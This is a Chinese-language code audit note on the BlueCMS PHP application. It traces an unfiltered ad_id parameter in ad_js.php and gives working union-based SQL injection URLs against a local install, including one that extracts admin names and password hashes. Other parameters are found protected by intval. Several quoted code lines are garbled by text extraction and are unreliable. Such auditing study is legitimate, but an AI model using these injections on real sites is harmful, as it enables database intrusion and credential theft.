##title:bluecms审计笔记
在本地下载bluecms源码并搭建
利用代码审计工具进行自动扫描,一一审计可能出现的漏洞
第一条说存在sql注入,我们点开这个文件看看。
在ad_js.php中
$ad = d b − > g e t o n e ( " S E L E C T ∗ F R O M " . t a b l e ( ′ a d ′ ) . " W H E R E a d i d = " . db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =". db−>getone("SELECT∗FROM".table(′ad′)."WHEREadid=".ad_id);
自定义的getone()函数中的语句是查询ad表有多少列的。查询条件是$ad_id。那我们定位getone()函数看看
在mysql.class.php中
function getone($sql, $type=MYSQL_ASSOC){
$query = t h i s − > q u e r y ( this->query( this−>query(sql,$this->linkid);
r o w = m y s q l f e t c h a r r a y ( row = mysql_fetch_array( row=mysqlfetcharray(query, $type);
return $row;
}
常规的数据库查询语法,我们再看看$ad_id,全文搜索,发现如下
a d i d = ! e m p t y ( ad_id = !empty( adid=!empty(_GET[‘ad_id’]) ? trim($_GET[‘ad_id’]) : ‘’;
$ad_id没有做任何过滤处理,导致sql注入
- trim — 去除字符串首尾处的空白字符(或者其他字符)
- empty — 检查一个变量是否为空
那我们在本地环境,找到ad_js.php页面进行,构造注入
发现字段为7,这里为布尔注入,正确返回空页面,错误返回错误页面。
查数据库:
view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=database()
查表:
view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=0x626c7565636d73
当然可以查询所有的表:
view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
效果如下,就不用一个个查询了
- concat
- concat_ws
- group_concat
- 连接多个字符串成一个字符的函数
查询账号密码:
view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
第一个注入漏洞审计完成。
点开第二条可能出现的漏洞的文件ann.php
- $current_act = d b − > g e t f i r s t ( " S E L E C T c a t n a m e F R O M " . t a b l e ( ′ a n n c a t ′ ) . " W H E R E c i d = " . db->getfirst("SELECT cat_name FROM ".table('ann_cat')." WHERE cid=". db−>getfirst("SELECTcatnameFROM".table(′anncat′)."WHEREcid=".cid);
- d b − > q u e r y ( " U P D A T E " . t a b l e ( ′ a n n ′ ) . " S E T c l i c k = c l i c k + 1 W H E R E a n n i d = " . db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ". db−>query("UPDATE".table(′ann′)."SETclick=click+1WHEREannid=".ann_id);
跟进 a n n i 和 ann_i和 anni和cid变量
发现被intval函数给限制了
- intval — 获取变量的整数值
点开第三条可能出现的漏洞文件comment.php
$id变量限制和第二一样
点开第四条index.php
同上,就说了
点开第五条
追踪$id参数
i d = ! e m p t y ( id = !empty( id=!empty(_REQUEST[‘id’]) ? intval($_REQUEST[‘id’]) : ‘’;
这里也被限制了。